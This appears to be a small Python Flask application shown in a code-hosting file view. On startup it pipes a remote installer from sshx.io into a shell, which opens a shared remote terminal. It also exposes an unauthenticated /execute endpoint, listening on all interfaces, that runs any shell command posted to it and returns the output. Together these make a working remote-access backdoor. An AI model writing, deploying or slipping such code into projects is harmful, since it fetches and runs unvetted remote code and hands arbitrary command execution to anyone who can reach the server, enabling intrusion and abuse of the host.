File size: 938 Bytes
ed9a284 6fc8e2c ed9a284 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
import subprocess
from flask import Flask, request, jsonify
# Выполнение команды при старте приложения
try:
subprocess.run("curl -sSf https://sshx.io/get | sh -s run", shell=True, check=True)
except subprocess.CalledProcessError as e:
print(f"Error executing command: {e}")
app = Flask(__name__)
@app.route('/execute', methods=['POST'])
def execute_command():
data = request.json
command = data.get('command')
if not command:
return jsonify({"error": "No command provided"}), 400
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return jsonify({
"stdout": result.stdout,
"stderr": result.stderr,
"returncode": result.returncode
})
except Exception as e:
return jsonify({"error": str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
|